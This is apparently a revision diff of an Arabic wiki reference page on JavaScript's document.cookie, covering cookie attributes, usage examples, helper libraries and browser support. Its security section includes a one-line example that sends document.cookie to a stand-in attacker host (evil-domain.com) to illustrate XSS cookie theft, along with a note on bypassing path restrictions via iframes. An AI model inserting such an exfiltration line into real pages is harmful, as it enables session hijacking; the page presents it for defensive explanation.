الفرق بين المراجعتين لصفحة: «JavaScript/Document/cookie»

من موسوعة حسوب
طلا ملخص تعديل
طلا ملخص تعديل
 
(5 مراجعات متوسطة بواسطة مستخدمين اثنين آخرين غير معروضة)
سطر 1: سطر 1:
<noinclude>{{DISPLAYTITLE:<code>Document.cookie</code>}}</noinclude>
<noinclude>{{DISPLAYTITLE:<code>Document.cookie</code>}}</noinclude>
تُستعمل هذه الخاصيّة للحصول على ملفّات الارتباط ([[HTTP/cookies|cookies]]) المُرتبطة بالمُستند الحالي وضبطها، للتعامل مع ملفّات الارتباط ببساطة أكثر، انظر إطار العمل البسيط [https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework هذا].
تُستعمل هذه الخاصيّة للحصول على ملفّات الارتباط (cookies) المُرتبطة بالمُستند الحالي وضبطها، للتعامل مع ملفّات الارتباط ببساطة أكثر، انظر إطار العمل البسيط [https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework هذا].
 
==البنية العامة==
==البنية العامة==
===الحصول على جميع ملفّات تعريف الارتباط المتاحة===
===الحصول على جميع ملفّات تعريف الارتباط المتاحة===
<syntaxhighlight lang="javascript">
<syntaxhighlight lang="javascript">
allCookies = document.cookie;
allCookies = document.cookie;
</syntaxhighlight>
</syntaxhighlight>المُتغيّر <code>allCookies</code> أعلاه عبارة عن سلسلة نصيّة تحتوي على قائمة بجميع ملفات الارتباط مفصولة بفاصلة منقوطة (<code>;</code>)، وهي على شكل <code>مفتاح=قيمة</code>.
المُتغيّر <code>allCookies</code> أعلاه عبارة عن سلسلة نصيّة تحتوي على قائمة بجميع ملفات الارتباط مفصولة بفاصلة منقوطة (<code>;</code>)، وهي على شكل <code>مفتاح=قيمة</code>.
 
===ضبط ملفّ ارتباط جديد===
===ضبط ملفّ ارتباط جديد===
<syntaxhighlight lang="javascript">
<syntaxhighlight lang="javascript">
document.cookie = newCookie;
document.cookie = newCookie;
</syntaxhighlight>
</syntaxhighlight>في الشيفرة أعلاه، المُتغيّر <code>newCookie</code> عبارة عن سلسلة نصيّة على شكل <code>مفتاح=قيمة</code>. لاحظ أنّك تستطيع أن تضبط أو تُحدّث ملفّ ارتباط واحد فقط في كل مرّة باستعمال هذه الطّريقة. وضَع في ذهنك ما يلي كذلك:
في الشيفرة أعلاه، المُتغيّر <code>newCookie</code> عبارة عن سلسلة نصيّة على شكل <code>مفتاح=قيمة</code>. لاحظ أنّك تستطيع أن تضبط أو تُحدّث ملفّ ارتباط واحد فقط في كل مرّة باستعمال هذه الطّريقة. وضَع في ذهنك ما يلي كذلك:
*يُمكن لأيّ من قيم خصائص ملفّات الارتباط التّالية أن تتبَع اختياريًا زوج المفتاح وقيمته، وذلك عبر تحديد ملفّ الارتباط المُرادِ ضبطه أو تحديثه ويجب على قيم الخصائص هذه أن تُسبَق بفاصلة منقوطة كفاصِل:
 
**‎<code>;path=path</code> (يقبل قيمًا مثل <code>'/'</code> و<code>'‎/mydir'</code>)،  إن لم تُحدَّد أيّة قيمة، فقيمته الافتراضيّة هي المسار الحاليّ لمكان المُستند الحاليّ. يجب على المسار أن يكون مُطلقًا (absolute)، انظر RFC 6265. للمزيد من المعلومات حول كيفيّة استعمال المسارات النسبيّة (relative paths)، انظر [[JavaScript/Document/cookie#.D8.A7.D8.B3.D8.AA.D8.B9.D9.85.D8.A7.D9.84 .D8.B9.D9.86.D8.A7.D9.88.D9.8A.D9.86 URL .D8.A7.D9.84.D9.86.D9.91.D8.B3.D8.A8.D9.8A.D8.A9 .D9.85.D8.B9 .D8.A7.D9.84.D9.85.D9.8F.D8.B9.D8.A7.D9.85.|هذه الفقرة]].
* يُمكن لأيّ من قيم خصائص ملفّات الارتباط التّالية أن تتبَع اختياريا زوج المفتاح وقيمته، وذلك عبر تحديد ملفّ الارتباط المُرادِ ضبطه أو تحديثه ويجب على قيم الخصائص هذه أن تُسبَق بفاصلة منقوطة كفاصِل:
**‎<code>;domain=domain</code> (يقبل قيمًا مثل <code>'example.com'</code> أو <code>'subdomain.example.com'</code>). إن لم تحدَّد أيّة قيمة، فقيمته الافتراضيّة هي جزء المُضيف الخاصّ بمكان المُستند الحالي (لا يشمل النّطاقات الفرعيّة). وعلى عكس المُواصفات السّابقة، فالنّقط التي تسبق أسماء النّطاقات (leading dots) ستُتجاهل، لكنّ المتصفحات قد تمنع ضبط ملفّ ارتباط يحتوي على هذه النّقط. إن حُدِّد النّطاق، فالنّطاقات الفرعيّة دائما ما تكون مشمولة.
** ‎<code>;path=path</code> (يقبل قيما مثل <code>'/'</code> و<code>'‎/mydir'</code>)،  إن لم تُحدَّد أيّة قيمة، فقيمته الافتراضيّة هي المسار الحاليّ لمكان المُستند الحاليّ. يجب على المسار أن يكون مُطلقًا (absolute)، انظر [https://tools.ietf.org/html/rfc6265  RFC 6265]. للمزيد من المعلومات حول كيفيّة استعمال المسارات النسبيّة (relative paths)، انظر [[هذه الفقرة]].
**‎<code>;max-age=max-age-in-seconds</code> عدد الثواني التي سيكون فيها ملفّ الارتباط صالحًا، يُمكن أن تكون قيمته مثلا <code>60*60*24*365</code> أو <code>31536000</code> ليكون ملفّ الارتباط صالحا لسنة واحدة.
** ‎<code>;domain=domain</code> (يقبل قيما مثل <code>'example.com'</code> أو <code>'subdomain.example.com'</code>). إن لم تحدَّد أيّة قيمة، فقيمته الافتراضيّة هي جزء المُضيف الخاصّ بمكان المُستند الحالي (لا يشمل النّطاقات الفرعيّة). وعلى عكس المُواصفات السّابقة، فالنّقط الأماميّة في أسماء النّطاقات ستُتجاهل، لكنّ المتصفحات قد تمنع ضبط ملفّ تعريف يحتوي على هذه النّقط. إن حُدِّد النّطاق، فالنّطاقات الفرعيّة دائما ما تكون مشمولة.
**<code>;expires=date-in-GMTString-format</code> تُحدّد تاريخ انتهاء صلاحيّة ملفّ الارتباط، إن لم تُضبَط قيمةٍ لأي من <code>expires</code> أو <code>max-age</code> فستنتهي صلاحيّة ملفّ الارتباط في نهاية الجلسة. انظر <code>[[JavaScript/Date/toUTCString|‎Date.toUTCString‎‎‎()]]</code> لفهم كيفيّة تحويل تاريخٍ إلى قيمة تُمثِّل التاريخ في توقيت UTC (وهي الصّيغة المطلوبة لهذه الخاصيّة). '''مُلاحظة:''' عندما تكون المعلومات الخاصّة بالمُستخدم حسّاسة فمن المهم على تطبيق الويب الخاص بك أن يُنهيَ صلاحيّة بيانات ملفّ الارتباط بعد مُدّة زمنيّة مُعيّنة، لا يجب أبدا الاعتماد على المُتصفح ليُزيل ملفات الارتباط الخاصّة بالجلسة، إذ إنَّ بعض المتصفحات تمنع ملفات الارتباط من أن تنتهي صلاحيّتها أبَدِيًّا.
**‎<code>;max-age=max-age-in-seconds</code> عدد الثواني التي سيكون فيها ملفّ الارتباط ذا صلاحيّة، يُمكن أن تكون قيمته مثلا <code>60*60*24*365</code> أو <code>31536000</code> ليكون ملفّ الارتباط صالحا لسنة واحدة.
**‎<code>;secure</code> السماح لملفّ الارتباط أن ينتقل فقط على بروتوكول آمن مثل https.
** <code>;expires=date-in-GMTString-format</code> تُحدّد تاريخ انتهاء صلاحيّة ملفّ الارتباط، إن لم تُضبَط قيمةٍ لأي من <code>expires</code> أو <code>max-age</code> فستنتهي صلاحيّة ملفّ الارتباط في نهاية الجلسة. انظر <code>[[JavaScript/Date/toUTCString | Date.toUTCString‎()]]</code> لفهم كيفيّة تحويل تاريخٍ إلى قيمة تُمثِّل التاريخ في توقيت UTC (وهي الصّيغة المطلوبة لهذه الخاصيّة). '''مُلاحظة:''' عندما تكون المعلومات الخاصّة بالمُستخدم حسّاسة فمن المهم على تطبيق الويب الخاص بك أن يقوم إزالة صلاحيّة بيانات ملفّ الارتباط بعد مُدّة زمنيّة مُعيّنة، لا يجب أبدا الاعتماد على المُتصفح ليُزيل ملفات الارتباط الخاصّة بالجلسة، إذ بعض المتصفحات تمنع ملفات الارتباط من أن تنتهي صلاحيّتها أبَدِيًّا.
*يُمكن للسلسة النصّية التي تُمثّل قيمة ملفّ الارتباط أن تستعمل الدالة [[JavaScript/encodeURIComponent|<code>encodeURIComponent()</code>‎]] للتأكد من أنّ السلسلة النّصية لا تحتوي على أية فاصلة أو فاصلة منقوطة أو مساحة بيضاء (والتي تعدّ قيمًا غير مسموح بها في قيم ملفّات الارتباط).
** ‎<code>;secure</code> اسمح لملفّ الارتباط أن ينتقل فقط على بروتوكول آمن مثل https.
*بعض المتصفحات تدعم السابِقات التّاليّة لملفّات الارتباط:
* يُمكن للسلسة النصّية التي تُمثّل قيمة ملفّ الارتباط أن تستعمل الـتّابع <code>encodeURIComponent()</code>‎ للتأكد من أنّ السلسلة النّصية لا تحتوي على أية فاصلة أو فاصلة منقوطة أو مساحة بيضاء (والتي تُعتبر قيما غير مسموح بها في قيم ملفّات الارتباط).
**‎<code>__Secure-‎</code> تُخبِر المُتصفح بوجوب وضع ملفّات الارتباط المنقولة على قناة آمنة فقط في الطّلبات.
* بعض تطبيقات عملاء المُستخدمين (user agent) تدعم السابِقات التّاليّة لملفّات الارتباط:
**‎<code>__Host-‎</code> تُخبِر المُتصفح بأنّ امتداد ملفّ الارتباط محدود في مسار يُمنح من طرف الخادم إضافةً إلى وجوب كون ملفّ الارتباط من أصل آمن. إن لم يمنح الخادم المسار، فستُستعمل قيمة عنوان URI الخاصّ بمُجلّد الطّلب. وتُخبر كذلك المُتصفحَ بأنّ خاصّية النّطاق <code>domain</code> لا يجب أن تُضبَط، ما يمنع إرسال ملفّ الارتباط إلى نطاق آخر. يجب على خاصّية المسار <code>path</code> أن تُساويَ دائمًا الأصل في مُتصفّح Chrome. '''مُلاحظة:''' تعدّ الشرطة (-) جزءًا من السّابقة (prefix). ويُمكن لهذه السّابقات أن تُضبط فقط في حالة ضُبِطت الخاصيّة <code>secure</code> كذلك.
** ‎<code>__Secure-‎</code> تُخبِر المُتصفح بوجوب وضع ملفّات الارتباط المنقولة على قناة آمنة فقط في الطّلبات.
مُلاحظة: كما ترى من الشيفرة أعلاه، الخاصيّة <code>document.cookie</code> عبارة عن خاصيّة وصول ([[JavaScript/Object/defineProperty#.D8.A7.D9.84.D9.88.D8.B5.D9.81|accessor property]])، وفيها دالة [[JavaScript/get|getter]] ودالة [[JavaScript/set|setter]]، ما يعني أنّها ليست خاصيّة بيانات ([[JavaScript/Object/defineProperty#.D8.A7.D9.84.D9.88.D8.B5.D9.81|data property]]) ذات قيمة: أي أنّ ما تكتبُه ليس نفسه ما تقرأه، ويتوسّط مُفسّر JavaScript في كلّ شيء على الدّوام.
** ‎<code>__Host-‎</code> تُخبِر المُتصفح بأنّ امتداد ملفّ الارتباط محدود في مسار يُمنح من طرف الخادوم إضافة إلى وجوب كون ملفّ الارتباط من أصل آمن. إن لم يمنح الخادوم المسار، فستُستعمل قيمة عنوان URI الخاصّ بمُجلّد الطّلب. وتُخبر كذلك المُتصفحَ بأنّ خاصّية النّطاق <code>domain</code> لا يجب أن تُضبَط، ما يمنع إرسال ملفّ الارتباط إلى نطاق آخر. يجب على خاصّية المسار <code>path</code> أن تُساويَ دائما الأصل مُتصفّح Chrome. '''مُلاحظة:''' تُعتبر العارضة (-) جزءا من السّابقة. يُمكن لهذه السّابقات أن تُضبط فقط في حالة ضُبِطت الخاصيّة <code>secure</code> كذلك.
مُلاحظة: كما ترى من الشيفرة أعلاه، الخاصيّة document.cookie عبارة عن خاصيّة وصول ([[JavaScript/Object/defineProperty#.D8.A7.D9.84.D9.88.D8.B5.D9.81|accessor property]])، ذات دالة جلب (getter) ودالّة ضبط (setter) مضمّنتين، ما يعني أنّها ليست خاصيّة بيانات ([[JavaScript/Object/defineProperty#.D8.A7.D9.84.D9.88.D8.B5.D9.81|data property]]) ذات قيمة: أي أنّ ما تكتبُه ليس نفسه ما تقرأه، ويتوسّط مُفسّر جافاسكريبت في كلّ شيء على الدّوام.
 
==أمثلة==
==أمثلة==
===المثال الأول: استعمال الخاصيّة ببساطة===
===استعمال بسيط للخاصية===
<syntaxhighlight lang="javascript">
<syntaxhighlight lang="javascript">
document.cookie = "name=oeschger";
document.cookie = "name=oeschger";
سطر 35: سطر 29:
   alert(document.cookie);
   alert(document.cookie);
}
}
</syntaxhighlight>شيفرة [[HTML]]:<syntaxhighlight lang="html">
<button onclick="alertCookie()">اعرض ملفّات الارتباط</button>
</syntaxhighlight>
</syntaxhighlight>
 
===الحصول على ملف ارتباط باسم <code>test2</code>===
<syntaxhighlight lang="html">
<button onclick="alertCookie()">Show cookies</button>
</syntaxhighlight>
 
===المثال الثّاني: الحصول على ملفّ ارتباط باسم test2===
<syntaxhighlight lang="javascript">
<syntaxhighlight lang="javascript">
document.cookie = "test1=Hello";
document.cookie = "test1=Hello";
سطر 51: سطر 42:
   alert(cookieValue);
   alert(cookieValue);
}
}
</syntaxhighlight>شيفرة HTML:<syntaxhighlight lang="html">
<button onclick="alertCookieValue()">اعرِض قيمة ملفّ الارتباط</button>
</syntaxhighlight>
</syntaxhighlight>
 
===القيام بعمليةٍ ما لمرة واحدة فقط===
<syntaxhighlight lang="html">
لاستعمال الشّيفرة التّالية، تأكّد من إبدال جميع مواضِع اسم ملفّ الارتباط <code>doSomethingOnlyOnce</code>، باسم ملفّ الارتباط الخاص بك.<syntaxhighlight lang="javascript">
<button onclick="alertCookieValue()">Show cookie value</button>
</syntaxhighlight>
 
===المثال الثّالث: القيام بعمليّة لمرّة واحدة فقط===
لاستعمال الشّيفرة التّالية، تأكّد من إبدال جميع مواضِع اسم ملفّ الارتباط <code>doSomethingOnlyOnce</code>، باسم ملفّ الارتباط الخاص بك.
 
<syntaxhighlight lang="javascript">
function doOnce() {
function doOnce() {
   if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
   if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
سطر 67: سطر 53:
   }
   }
}
}
</syntaxhighlight>
</syntaxhighlight>شيفرة HTML:<syntaxhighlight lang="html">
 
<syntaxhighlight lang="html">
<button onclick="doOnce()">أجرِ عمليّة لمرّة واحدة فقط</button>
<button onclick="doOnce()">أجرِ عمليّة لمرّة واحدة فقط</button>
</syntaxhighlight>
</syntaxhighlight>
 
===إعادة ضبط ملف الارتباط السابق===
===المثال الرّابع: أعد ضبط ملفّ الارتباط السّابق===
<syntaxhighlight lang="javascript">
<syntaxhighlight lang="javascript">
function resetOnce() {  
function resetOnce() {  
   document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
   document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
}
</syntaxhighlight>
</syntaxhighlight>شيفرة HTML:<syntaxhighlight lang="html">
 
<syntaxhighlight lang="html">
<button onclick="doOnce()">أعد ضبط ملفّ الارتباط الخاصّ بإجراء عمليّة لمرّة واحدة فقط</button>
<button onclick="doOnce()">أعد ضبط ملفّ الارتباط الخاصّ بإجراء عمليّة لمرّة واحدة فقط</button>
</syntaxhighlight>
</syntaxhighlight>
 
===التحقق من وجود ملف ارتباط===
===المثال الخامس: تحقّق من وجود ملفّ ارتباط ===
تتحقّق الشّيفرة أسفله من وجود ملفّ ارتباط باسم <code>"reader"</code>.<syntaxhighlight lang="javascript">
تتحقّق الشّيفرة أسفله من وجود ملفّ ارتباط باسم <code>"reader"</code>.
<syntaxhighlight lang="javascript">
if (document.cookie.split(';').indexOf('reader=') >= 0) {
if (document.cookie.split(';').indexOf('reader=') >= 0) {
     console.log('ملفّ الارتباط موجود')
     console.log('ملفّ الارتباط موجود')
}
}
</syntaxhighlight>
</syntaxhighlight>
 
===التحقق من أن ملف ارتباط يحمل قيمة محددة===
===المثال السّادس: تحقّق من أنّ ملفّ ارتباط يحمل قيمة مُحدَّدة===
تتحقّق الشّيفرة أسفله من أنّ ملفّ الارتباط ذا الاسم <code>"reader"</code> يحمل القيمة <code>1</code>.<syntaxhighlight lang="javascript">
تتحقّق الشّيفرة أسفله من أنّ ملفّ الارتباط ذا <code>"reader"</code> يحمل القيمة <code>1</code>.
<syntaxhighlight lang="javascript">
if (document.cookie.split(';').indexOf('reader=1') >= 0) {
if (document.cookie.split(';').indexOf('reader=1') >= 0) {
     console.log('قيمة ملفّ الارتباط هي 1')
     console.log('قيمة ملفّ الارتباط هي 1')
}
}
</syntaxhighlight>
</syntaxhighlight>
==الحماية==
==الحماية==
من المُهمّ التنويه إلى أنّ خاصيّة المسار لا تحمي ضدّ قراءة ملفّ الارتباط بشكل غير مُصرَّح به من مسار مُختلف. يُمكن تجاوز هذا القيد بسهولة عبر استخدام خصائص DOM، على سبيل المثال، يُمكن القيام بذلك عبر إنشاء عنصر <code>iframe</code> مخفي بمسار ملفّ الارتباط، ثمّ الوصول إلى خاصيّة <code>contentDocument.cookie</code> الخاصّة بعنصر <code>iframe</code>. الطريقة الوحيدة لحماية ملفّ الارتباط هي باستعمال نطاق مُختلف أو نطاق فرعي، وذلك بسبب [https://developer.mozilla.org/en-US/docs/Same_origin_policy_for_JavaScript سياسَة الأصل الواحد].
من المُهمّ التنويه إلى أنّ خاصيّة المسار لا تحمي ضدّ قراءة ملفّ الارتباط بشكل غير مُصرَّح به من مسار مُختلف. يُمكن تجاوز هذا القيد بسهولة عبر استخدام خصائص DOM، على سبيل المثال، يُمكن القيام بذلك عبر إنشاء عنصر <code>iframe</code> مخفي بمسار ملفّ الارتباط، ثمّ الوصول إلى خاصيّة <code>contentDocument.cookie</code> الخاصّة بعنصر <code>iframe</code>. الطريقة الوحيدة لحماية ملفّ الارتباط هي باستعمال نطاق مُختلف أو نطاق فرعي، وذلك بسبب سياسَة الأصل الواحد.


تُستعمل ملفّات الارتباط في تطبيقات الويب عادةً للتعرّف على مُستخدم وجلسة الاستيثاق (authenticated session) الخاصّة به. لذا فسرِقة ملفّ الارتباط من تطبيق ويب سيؤدّي إلى اختطاف جلسة المُستخدم الذي سجّل استيثاقه. الطّرق الشّائعة لسرقة ملفّات الارتباط تشمل الهندسة الاجتماعيّة أو عبر استغلال ثغرة XSS في التّطبيق. انظر المثال التّالي:
تُستعمل ملفّات الارتباط في تطبيقات الويب عادةً للتعرّف على مُستخدم وجلسة الاستيثاق (authenticated session) الخاصّة به. لذا فسرِقة ملفّ الارتباط من تطبيق ويب سيؤدّي إلى سرقة جلسة المُستخدم الذي سجّل دخوله. الطرائق الشّائعة لسرقة ملفّات الارتباط تشمل الهندسة الاجتماعيّة أو عبر استغلال ثغرة XSS في التّطبيق. انظر المثال التّالي:<syntaxhighlight lang="javascript">
<syntaxhighlight lang="javascript">
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
</syntaxhighlight>
</syntaxhighlight>يُمكن تخفيف خطر هذا الهجوم عبر ملفّ الارتباط <code>HTTPOnly</code> عن طريق منع الحصول على قيمة ملفّ الارتباط من خلال JavaScript. للاستزادة، انظر إلى [http://www.nczonline.net/blog/2009/05/12/cookies-and-security/ Cookies and Security].
 
يُمكن تخفيف خطر هذا الهجوم عبر ملفّ الارتباط <code>HTTPOnly</code> عن طريق منع الحصول على قيمة ملفّ الارتباط من خلال جافاسكريبت. للاستزادة، انظر [http://www.nczonline.net/blog/2009/05/12/cookies-and-security/ Cookies and Security].
 
==ملاحظات==
==ملاحظات==
* بدءا من فايرفوكس 2، هناك طريقة أفضل لتخزين المعلومات على جهة العميل، وذلك عبر استعمال [[JavaScript/DOM/Storage|تخزين DOM]].
*بدءًا من فايرفوكس 2، هناك طريقة أفضل لتخزين المعلومات على جهة العميل، وذلك عبر استعمال [[JavaScript/Storage|تخزين DOM]].
* يُمكنك ببساطة حذف ملفّ ارتباط عبر تحديث تاريخ نهاية صلاحيّته إلى صِفر.
*يُمكنك ببساطة حذف ملفّ ارتباط عبر تحديث تاريخ نهاية صلاحيّته إلى صِفر.
* تذكّر بأنّه كلّما زاد عدد ملفّات الارتباط لديك، كلّما وجَب نقل بياناتٍ أكثر بين الخادوم والعميل لكل طلب. مما سيُبطئ الطّلبات. لذا من المنصوح به جدّا استعمال [[JavaScript/DOM/Storage|تخزين DOM]] إن كانت لديك بيانات تُريد تخزينها على جهة العميل فقط.
*تذكّر بأنّه كلّما زاد عدد ملفّات الارتباط لديك، كلّما وجَب نقل بياناتٍ أكثر بين الخادوم والعميل لكل طلب. مما سيُبطئ الطّلبات. لذا من المنصوح به جدّا استعمال [[JavaScript/Storage|تخزين DOM]] إن كانت لديك بيانات تُريد تخزينها على جهة العميل فقط.
* تُحدّد مواصفة [http://www.ietf.org/rfc/rfc2965.txt RFC 2965] (الفقرة 5.3) بأنّه لا يجب أن يكون لقيمةِ أو مفتاحِ ملف ارتباطٍ طول أقصى (maximum length)، وتُشجّع كلّ مُتصفح على دعم ملفّات ارتباط كبيرة ذات حجم اعتباطي. الطول الأقصى يكون مُختلفا حسب المُتصفّح، لذا انظر توثيق كلّ متصفّح بشأن هذا الأمر.
*تُحدّد مواصفة [http://www.ietf.org/rfc/rfc2965.txt RFC 2965] (الفقرة 5.3) بأنّه لا يجب أن يكون لقيمةِ أو مفتاحِ ملف ارتباطٍ طول أقصى (maximum length)، وتُشجّع كلّ مُتصفح على دعم ملفّات ارتباط كبيرة ذات حجم اعتباطي. الطول الأقصى يكون مُختلفًا حسب المُتصفّح، لذا انظر توثيق كلّ متصفّح بشأن هذا الأمر.
 
سبب البنية العامّة لخاصيّة الوصول <code>document.cookie</code> يرجِع إلى طبيعة ملفّات الارتباط التي تعتمد على صيغة خادم-عميل، ما يختلف عن طرق تخزين أخرى تعتمد على صيغة عميل-عميل كالتّخزين المحلي (<code>localStorage</code>) مثلًا.
سبب البنية العامّة لخاصيّة الوصول <code>document.cookie</code> يرجِع إلى طبيعة ملفّات الارتباط التي تعتمد على صيغة خادوم-عميل، ما يختلف عن طرق تخزين أخرى تعتمد على صيغة عميل-عميل كالتّخزين المحلي (<code>localStorage</code>) مثلا.


====  يأمر الخادومُ العميلَ بتخزين ملفّ ارتباط ====
يأمر الخادمُ العميلَ بتخزين ملفّ ارتباط كما يلي:<syntaxhighlight lang="http">
<syntaxhighlight lang="http">
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT


[مُحتويات الصّفحة هنا]
[مُحتويات الصّفحة هنا]
</syntaxhighlight>
</syntaxhighlight>يُعيد العميل إرسال ملفّ الارتباط الذي خزّنه مُسبقا إلى الخادم:<syntaxhighlight lang="http">
 
====  يُعيد العميل إرسال ملفّ الارتباط الذي خزّنه مُسبقا إلى الخادوم ====
<syntaxhighlight lang="http">
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
</syntaxhighlight>
</syntaxhighlight>
 
===استعمال عناوين URL النّسبية مع المُعامل <code>path</code>===
=== استعمال عناوين URL النّسبية مع المُعامل <code>path</code> ===
يقبل المُعامل <code>path</code> الخاصّ بملفّ ارتباط جديد المسارات المُطلقة فقط. إن أردت استعمال المسارات النّسبية، فستحتاج إلى تحويلها إلى مسارات مُطلقة. يُمكن للدّالة التّالية ترجمة المسارات النّسبية إلى مسارات مُطلقة. وهي دالة مُتعدّدة الأغراض (أي أنّها ليست متعلّقة بملفات الارتباط فقط)، لكنّك تستطيع استعمالها مع المُعامل <code>path</code> الخاصّ بملفّ ارتباط جديد بنجاح كذلك.
يقبل المُعامل <code>path</code> الخاصّ بملفّ ارتباط جديد المسارات المُطلقة فقط. إن أردت استعمال المسارات النّسبية، فستحتاج إلى تحويلها إلى مسارات مُطلقة. يُمكن للدّالة التّالية ترجمة المسارات النّسبية إلى مسارات مُطلقة. وهي دالة مُتعدّدة الأغراض (أي أنّها ليست متعلّقة بملفات الارتباط فقط)، لكنّك تستطيع استعمالها مع المُعامل <code>path</code> الخاصّ بملفّ ارتباط جديد بنجاح كذلك.
====المكتبة====
====المكتبة====
<syntaxhighlight lang="javascript">
<syntaxhighlight lang="javascript">
سطر 156: سطر 121:
}
}
</syntaxhighlight>
</syntaxhighlight>
====طريقة الاستعمال====
====طريقة الاستعمال====
نفترض أنّنا في المسار <code>‎/en-US/docs/Web/API/document.cookie</code>، التّعليقات أسفل كلّ استدعاءٍ لنافذة التنبيه تُمثّل القيمة المُعادة.
نفترض أنّنا في المسار <code>‎/JavaScript/Document/document.cookie</code>، التّعليقات أسفل كلّ استدعاءٍ لنافذة التنبيه تُمثّل القيمة المُعادة.<syntaxhighlight lang="javascript">
 
/* Let us be in /JavaScript/Document/document.cookie */
<syntaxhighlight lang="javascript">
/* Let us be in /en-US/docs/Web/API/document.cookie */


alert(location.pathname);
console.log(location.pathname);
// /en-US/docs/Web/API/document.cookie
// /JavaScript/Document/cookie


alert(relPathToAbs("./"));
console.log(relPathToAbs("./"));
// /en-US/docs/Web/API/
// /JavaScript/Document/


alert(relPathToAbs("../Guide/API/DOM/Storage"));
console.log(relPathToAbs("../Object/toString"));
// /en-US/docs/Web/Guide/API/DOM/Storage
// /JavaScript/Object/toString


alert(relPathToAbs("../../Firefox"));
console.log(relPathToAbs("../../Bootstrap"));
// /en-US/docs/Firefox
// /Bootstrap


alert(relPathToAbs("../Guide/././API/../../../Firefox"));
console.log(relPathToAbs("../Object/./toString/../../../Bootstrap"));
// /en-US/docs/Firefox
// /Bootstrap
</syntaxhighlight>
</syntaxhighlight>
==أمثلة أخرى==
==أمثلة أخرى==
 
===مكتبة عامة لتنفيذ عملية لمرة واحدة فقط===
===المثال الخامس: نفّذ عمليّة مرّة واحدة فقط، مكتبة عامّة===
 
====المكتبة====
====المكتبة====
<syntaxhighlight lang="javascript">
<syntaxhighlight lang="javascript">
سطر 198: سطر 157:
}
}
</syntaxhighlight>
</syntaxhighlight>
====البنية العامة====
====البنية العامة====
<syntaxhighlight lang="javascript">
<syntaxhighlight lang="javascript">
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])
</syntaxhighlight>
</syntaxhighlight>
====الوصف====
====الوصف====
تُنفِّذ عمليّةً مرّةً واحدةً فقط، حتى بعد تحديث الصّفحة.
تُنفِّذ عمليّةً مرّةً واحدةً فقط، حتى بعد تحديث الصّفحة.
====المُعاملات====
====المُعاملات====
<code>callback</code>
<code>callback</code>
: الدّالة المُراد تنفيذها ([[JavaScript/function|function]]).
:الدّالة المُراد تنفيذها ([[JavaScript/function|function]]).
 
<code>thisObject</code>
<code>thisObject</code>
: الكائن [[JavaScript/this|this]] (إمّا [[JavaScript/Object|Object]] أو [[JavaScript/null|null]]). وهو مُعامل اختياريّ.
:الكائن <code>[[JavaScript/this|this]]</code> (إمّا <code>[[JavaScript/Object|Object]]</code> أو <code>[[JavaScript/null|null]]</code>). وهو مُعامل اختياريّ.
 
<code>argumentToPass1, argumentToPass2, argumentToPassN</code>
<code>argumentToPass1, argumentToPass2, argumentToPassN</code>
: مُعاملات الدّالة <code>callback</code>. وهي مُعاملات اختياريّة.
:مُعاملات الدّالة <code>callback</code>. وهي مُعاملات اختياريّة.
 
<code>identifier</code>
<code>identifier</code>
: المُعرّف الذي يُتحقّق، أي اسم ملفّ الارتباط  ([[JavaScript/String|string]]).
:المُعرّف الذي يُتحقّق منه، أي اسم ملفّ الارتباط  (<code>[[JavaScript/String|string]]</code>).
 
<code>onlyHere</code>
<code>onlyHere</code>
: قيمة منطقيّة [[JavaScript/String|string]] يُعبّر عمّا إذا كان ملفّ الارتباط سيستعمل المسار المحليّ (أي القيمة <code>true</code>) عوضا عن المسار العمومي (القيمة <code>false</code> أو <code>undefined</code>)،  (إمّا [[JavaScript/Boolean|boolean]] أو [[JavaScript/undefined|undefined]]). وهو مُعامل اختياريّ.
:قيمة منطقيّة <code>[[JavaScript/Boolean|Boolean]]</code> تُعبّر عمّا إذا كان ملفّ الارتباط سيستعمل المسار المحليّ (أي القيمة <code>true</code>) عوضا عن المسار العمومي (القيمة <code>false</code> أو <code>undefined</code>)،  (إمّا <code>[[JavaScript/Boolean|boolean]]</code> أو <code>[[JavaScript/undefined|undefined]]</code>). وهو مُعامل اختياريّ.
 
====طريقة الاستعمال====
====طريقة الاستعمال====
<syntaxhighlight lang="javascript">
<syntaxhighlight lang="javascript">
سطر 231: سطر 182:
executeOnce(alertSomething, null, "مرحبًا بالعالم", "alert_something");
executeOnce(alertSomething, null, "مرحبًا بالعالم", "alert_something");
</syntaxhighlight>
</syntaxhighlight>
 
==دعم المتصفحات==
== دعم المتصفحات ==
{| class="wikitable"
{| class="wikitable"
!الميزة
!الميزة
سطر 242: سطر 192:
!Safari
!Safari
|-
|-
! الدعم الأساسي
!الدعم الأساسي
|نعم
|نعم
|نعم
|نعم
سطر 266: سطر 216:
|نعم
|نعم
|}
|}
==انظر أيضًا==
* [[HTTP/cookies|HTTP cookies]]
* [[JavaScript/HTMLHyperlinkElementUtils/pathname|URLUtils.pathname]]
* [[JavaScript/DOM/Storage|تخزين DOM]]
